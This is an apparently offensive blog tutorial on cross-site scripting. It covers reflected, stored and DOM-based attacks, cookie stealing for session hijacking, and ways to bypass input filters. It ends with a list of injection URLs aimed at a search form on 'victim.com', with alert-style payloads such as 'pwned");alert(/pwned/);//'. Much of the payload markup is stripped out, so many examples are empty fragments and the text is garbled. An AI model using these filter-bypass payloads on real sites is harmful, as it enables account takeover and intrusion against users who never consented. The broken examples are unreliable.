XSS EXPLOITS

Hello friends. These days I am on an XSS rampage.  Since then I got several request from the readers to post a quick article on cross site scriptting. This tutorial will be divided into two parts. In the first part I will cover the basics of XSS and how the attack vector is implemented. In the next tutorial we will discuss some techniques by which we can prevent XSS attacks.



OWASP lists sql injection and XSS as the two most common vulnerabilities in web pages and web apps. We have covered SQL injection quiet extensively so I decided to write on xss.

Cross Site Scripting or XSS  is a web application attack that involves injecting a piece of malicious code into the vulnerable web application/web page. The attacker injects a client side script mainly through the web browser to reach the other users of the particular website. This attack can open several doors for the attacker ranging from session hijacking to entire database compromise.

Reflected or Non-persistent XSS attack

This is the most common form of XSS attack in which the attackers crafts a malicious code and transfers it to the server side either through the HTTP request parameter or through some HTML form submission. A simple Reflected XSS attack looks like this-

                                        (Embedded Script)

           (External script)

Consider this real time example of reflected XSS in action:

XSS vulnerability in Babylon Search

Stored or Persistent XSS attack

This attack is more dangerous and complicated compared to reflected XSS attack. In Stored or persistent XSS attack, the vulnerable script is stored on the target server and is activated once another user clicks on it. For example, consider a forum where the attacker posts a message containing a link to malicious script. Another user when views the message and clicks it, then the script activates and causes respective attack.

The attacker can craft a malicious script like a cookie stealing script of the form and steal victims cookies to perform session hijacking.

DOM based XSS attack

DOM or document object model based XSS attacks tries to exploit the structure of the page in which they reside. The attacker tries to trick the browser to execute the JavaScript or HTML code of his choice. Unlike the other two XSS attacks, DOM based attack takes the advantage of vulnerable javascript which executes directly in the user’s browser.

Consider the following piece of code:

var loc = document.location + '?gotoHomepage=1';
document.write('Home');

The javascript variable document.location can easily be compromised by the attacker to pass a malicious javascript as it has no user input filters. A url of the form : http://site.com/index.html?   can be created and passed as the HTTP header and can be executed directly into user’s document. 

Complete Cheat Sheet on XSS:

Pwned

">

Bypassing Xss Simple Filteration Without Alteration:

Now we notice, the above script we used for filtration is evolving only a few strings, knowing there are bunch of ways and

strings to inject a malicious request.

It's only filtering '< > /' means leaving hackers with a vast amount of other strings to inject a malicious code.

Now the question is since '<' and '>' are filtered, how we will be able to send a javascript or html code injection?

Well, the answer is quite easy, javascript can be executed using ' and " before the orignal script.

For instance, 

')alert('xss');

This will generate an alert box again on a vulnerable server.

Secondly,

");alert('xss');

This will too generate an alert box on a vulnerable server.

Bypassing Advance Xss Filtration:

Some webmasters filter lot more than this, especially it's filtered on important sites like gov and org sites.
But all depends on their pattern if they are doing this in javascript, we will of course just alter the page but what if the filtration is not in javascript, instead is in html or php or even asp.
There's nothing impossible, we will try to get as much info about the filtration as much we can.
Supposing a server that have filtered all strings just more than common in a way that it reads the malicious string in the beginning or in the end to avoid and abort it, this of course can be bypassed too!

An example can be likely so:

helloworld

The above script will bypass filtration for the server that reads the malicious string in the beginning.

helloworld

This will bypass message filtration.

Now we will study some more advance filtration bypass.

Some webmasters just simply define a pattern of a cross-site scripting script that is possibly common.

In this case, I will mention here the full array of strings to inject, bypassing the filtration.

We will suppose injecting in a search form.

victim.com/search.php?query=">
victim.com/search.php?query=">
victim.com/search.php?query=">
victim.com/search.php?query=">
victim.com/search.php?query=//">
victim.com/search.php?query=abc
victim.com/search.php?query=abc">
victim.com/search.php?query=abc">

victim.com/search.php?query=abc//abc">alert(/hello world/);
victim.com/search.php?query=000">
victim.com/search.php?query=000abc
victim.com/search.php?query=--alert(/1337/);
victim.com/search.php?query=pwned
victim.com/search.php?query=pwned
victim.com/search.php?query=pwned')alert(1337);//
victim.com/search.php?query=pwned";)alert(1337);//
victim.com/search.php?query=pwned");alert(/pwned/);//
victim.com/search.php?query=pwned//">
victim.com/search.php?query=">
victim.com/search.php?query=">